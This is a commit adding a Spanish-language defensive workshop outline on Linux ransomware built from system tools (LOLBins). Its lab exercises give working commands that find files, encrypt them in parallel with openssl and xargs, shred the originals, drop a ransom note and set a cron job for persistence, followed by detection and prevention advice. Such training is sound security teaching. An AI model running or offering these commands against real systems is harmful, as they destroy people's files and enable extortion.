qct: modificada la dirstruct

QueComanTierra/slides/estructura.md

@@ -0,0 +1,180 @@
+# Que coman tierra: de LOLBINs a ransomware
+## Estructura del Taller
+
+**Audiencia:** Defensores, sysadmins, blue teamers  
+**Duración estimada:** 3-4 horas  
+**Entorno:** VM Linux aislada (sin red externa)
+
+---
+
+## Módulo 1: El problema invisible (20 min)
+
+**Concepto central:** Un ataque que no instala nada es casi indetectable con herramientas tradicionales.
+
+- Qué son los LOLBins (Living Off the Land Binaries)
+- Por qué los antivirus no los detienen
+- Casos reales: ataques ransomware 100% con herramientas del sistema
+- La pregunta incómoda: ¿qué tan fácil es?
+
+---
+
+## Módulo 2: El arsenal del sistema (30 min)
+
+**Concepto central:** El atacante ya tiene todo lo que necesita instalado.
+
+| Herramienta        | Capacidad ofensiva                                    |
+|--------------------|-------------------------------------------------------|
+| `openssl`          | Cifrado simétrico y asimétrico                        |
+| `find`             | Reconocimiento y targeting de archivos                |
+| `xargs`            | Paralelización masiva de operaciones sobre archivos   |
+| `tar` / `dd`       | Exfiltración y destrucción                            |
+| `python3` / `perl` | Scripting completo sin instalar nada                  |
+| `base64`           | Codificación de claves / evasión                      |
+| `cron` / `at`      | Persistencia y ejecución diferida                     |
+| `shred`            | Destrucción segura de originales                      |
+| `curl` / `wget`    | C2 simulado                                           |
+
+Demo en vivo: cada herramienta haciendo algo que "no debería".
+
+### xargs: el multiplicador de fuerza
+
+`find` localiza objetivos. `xargs` los procesa en paralelo. La diferencia en velocidad es brutal.
+
+```bash
+# Lento: cifrado secuencial con while loop
+while IFS= read -r f; do
+  openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key
+done < /tmp/.targets
+
+# Rápido: cifrado paralelo con xargs -P
+find /home/victim -type f -name "*.txt" -print0 \
+  | xargs -0 -P $(nproc) -I{} \
+    openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc
+```
+
+`-P $(nproc)` lanza tantos procesos paralelos como cores tenga la máquina. En un servidor con 16 cores, un atacante cifra **miles de archivos en segundos**. Esta es la razón por la que el ransomware moderno es tan rápido que los backups en tiempo real no alcanzan a reaccionar.
+
+---
+
+## Módulo 3: Anatomía de un ataque (30 min)
+
+**Concepto central:** El ransomware tiene fases. Cada fase usa un LOLBin distinto.
+
+### Fases del ataque
+
+1. **Reconocimiento** - `find` mapea archivos objetivo
+2. **Generación de clave** - `openssl rand` crea clave efímera
+3. **Cifrado paralelo** - `find | xargs -P` cifra todo simultáneamente
+4. **Destrucción del original** - `shred` elimina el archivo limpio
+5. **Exfiltración de clave** - `curl` envía clave al atacante
+6. **Nota de rescate** - `echo` / `wall` / fondo de escritorio
+7. **Persistencia** - `cron` para re-cifrar si se intenta recuperar
+
+Diagrama de flujo del ataque completo.
+
+---
+
+## Módulo 4: Lab "Preparando el plato" (90 min)
+
+**Objetivo:** Ejecutar un ataque simulado completo en entorno aislado y entender cada paso desde adentro.
+
+### Prerequisitos del lab
+- VM Ubuntu/Debian sin snapshots previos (propósito)
+- Directorio `/home/victim/documentos/` con archivos de prueba
+- Sin conexión a red real
+
+### Ejercicios
+
+#### Ejercicio 1: Reconocimiento (15 min)
+```bash
+find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) > /tmp/.targets
+wc -l /tmp/.targets
+```
+
+#### Ejercicio 2: Generar clave (5 min)
+```bash
+openssl rand -base64 32 > /tmp/.key
+```
+
+#### Ejercicio 3: Cifrado paralelo con xargs (30 min)
+
+Primero, la versión lenta para que la sientan:
+```bash
+# Versión while loop - medir con `time`
+time while IFS= read -r f; do
+  openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key
+  shred -u "$f"
+done < /tmp/.targets
+```
+
+Luego, la versión real:
+```bash
+# Versión xargs -P - mismo resultado, velocidad completamente diferente
+time find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" \) -print0 \
+  | xargs -0 -P $(nproc) -I{} sh -c \
+    'openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in "$1" -out "$1.enc" && shred -u "$1"' \
+    _ {}
+```
+
+**Pregunta para el grupo:** ¿cuántos archivos por segundo procesó cada versión? ¿Qué implica eso para la ventana de detección?
+
+#### Ejercicio 4: Nota de rescate (10 min)
+```bash
+cat > /home/victim/LEEME_URGENTE.txt << 'RANSOMNOTE'
+Tus archivos han sido cifrados.
+Tienes 72 horas para pagar.
+RANSOMNOTE
+wall /home/victim/LEEME_URGENTE.txt
+```
+
+#### Ejercicio 5: Persistencia (10 min)
+```bash
+(crontab -l 2>/dev/null; echo "*/5 * * * * find /home/victim -name '*.txt' -newer /tmp/.key -print0 | xargs -0 -P 4 -I{} openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc") | crontab -
+```
+
+#### Ejercicio 6: Análisis forense post-ataque (20 min)
+- ¿Qué quedó en logs?
+- ¿Qué proceso hizo qué?
+- ¿Hubo alguna señal detectable?
+- ¿En qué momento hubiera sido posible interrumpirlo?
+
+---
+
+## Módulo 5: Defensa, cómo no comer tierra (40 min)
+
+**Concepto central:** Si entendiste el ataque, entiendes dónde poner los controles.
+
+### Detección
+- `auditd` - auditoría de syscalls (`openssl`, `shred`, `xargs` con muchos forks, escrituras masivas)
+- Alerta en spike de procesos `openssl` simultáneos (señal directa de `xargs -P`)
+- Reglas YARA para patrones de comportamiento, no de firma
+- Alertas en accesos masivos a archivos en ventana corta de tiempo
+- Monitoreo de modificaciones a `crontab`
+
+### Prevención
+- Backups inmutables (S3 Object Lock, ZFS snapshots, `restic`)
+- Filesystem flags: `chattr +i` para archivos críticos
+- AppArmor/SELinux profiles que restringen `openssl` a usuarios específicos
+- Principio de mínimo privilegio
+
+### Respuesta
+- Runbook de incident response para ransomware
+- Cómo identificar la clave si no fue exfiltrada
+- Recuperación desde snapshots
+
+---
+
+## Módulo 6: Cierre (10 min)
+
+- "La mejor defensa es saber cómo atacan"
+- Recursos: GTFOBins, LOLBAS, MITRE ATT&CK T1486
+- Tarea: auditar su propio entorno con `auditd`
+
+---
+
+## Notas para el instructor
+
+- **Nunca ejecutar en sistemas reales** - solo en VMs aisladas con snapshots
+- Tener snapshots pre-hechos para restaurar rápido entre grupos
+- El módulo 4 es el núcleo - darle tiempo extra si es necesario
+- El objetivo NO es crear atacantes: es crear defensores que entienden el ataque